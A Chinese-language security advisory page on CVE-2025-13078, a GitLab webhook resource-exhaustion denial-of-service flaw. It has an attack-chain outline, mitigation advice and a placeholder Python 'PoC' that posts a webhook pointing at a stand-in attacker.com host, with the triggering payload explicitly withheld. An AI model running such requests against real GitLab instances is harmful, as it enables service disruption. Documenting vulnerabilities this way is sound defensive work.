IPBUF安全漏洞报告
English
CVE-2025-13078 CVSS 6.5 中危

CVE-2025-13078 GitLab Webhook资源耗尽DoS漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2025-13078
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

CVE-2025-13078GitLab拒绝服务DoSWebhook资源消耗

漏洞概述

GitLab CE/EE在处理特定webhook配置输入时存在资源消耗过度的安全漏洞。攻击者可利用此缺陷导致服务拒绝。该漏洞广泛影响从16.10版本至18.10.1之前的多个发行版本(含18.8.7、18.9.3等)。认证的低权限用户无需交互即可通过网络触发漏洞,获取系统资源控制权并造成高可用性影响。

技术细节

该漏洞的根源在于GitLab后端在解析和验证Webhook配置参数时,缺乏对复杂输入结构的深度限制或对计算资源的有效配额管理。当攻击者提交包含特定模式或大量嵌套数据的Webhook配置时,服务器在尝试解析或验证这些输入时会进入高负载状态。攻击者首先需要注册一个低权限用户账号,并获取目标项目的开发者或维护者权限以配置Webhook。随后,利用API或Web界面提交恶意payload。由于无需复杂的社会工程学交互,攻击过程易于自动化。一旦触发,服务器资源将被迅速耗尽,导致系统无法响应正常请求,严重影响业务连续性。

攻击链分析

STEP 1
侦察
攻击者注册一个GitLab低权限账号,并确认目标GitLab实例的版本在受影响范围内。
STEP 2
武器化
攻击者准备能够触发资源消耗过度的特定Webhook配置数据。
STEP 3
投送
攻击者通过GitLab API向具有写入权限的项目发送包含恶意配置的Webhook创建或更新请求。
STEP 4
利用
GitLab服务器处理该配置请求,由于未限制资源消耗,CPU或内存使用率飙升。
STEP 5
影响
服务器资源耗尽,导致GitLab实例响应缓慢或完全不可用,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: GitLab CVE-2025-13078 PoC (Resource Consumption) # Description: Sends a malicious webhook configuration to trigger DoS. # Note: The specific payload structure causing the DoS is not disclosed here. # This script demonstrates the API endpoint usage. TARGET_URL = "https://gitlab.example.com" PRIVATE_TOKEN = "your_access_token" PROJECT_ID = "1" # Malicious configuration placeholder # Attackers would craft specific input here to trigger high resource usage. malicious_payload = { "url": "http://attacker.com/webhook", "push_events": True, "issues_events": True, # Additional fields might be required to trigger the vulnerability } headers = {"PRIVATE-TOKEN": PRIVATE_TOKEN} print(f"[+] Sending malicious webhook configuration to {TARGET_URL}...") try: response = requests.post( f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/hooks", json=malicious_payload, headers=headers ) if response.status_code == 201: print("[+] Webhook created. Server may experience high load.") else: print(f"[-] Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")

影响范围

GitLab CE/EE >= 16.10, < 18.8.7
GitLab CE/EE >= 18.9, < 18.9.3
GitLab CE/EE >= 18.10, < 18.10.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Webhook功能,或者仅允许管理员级别的用户配置Webhook。同时,应密切监控系统资源使用情况,一旦发现异常峰值,及时阻断相关来源的API请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表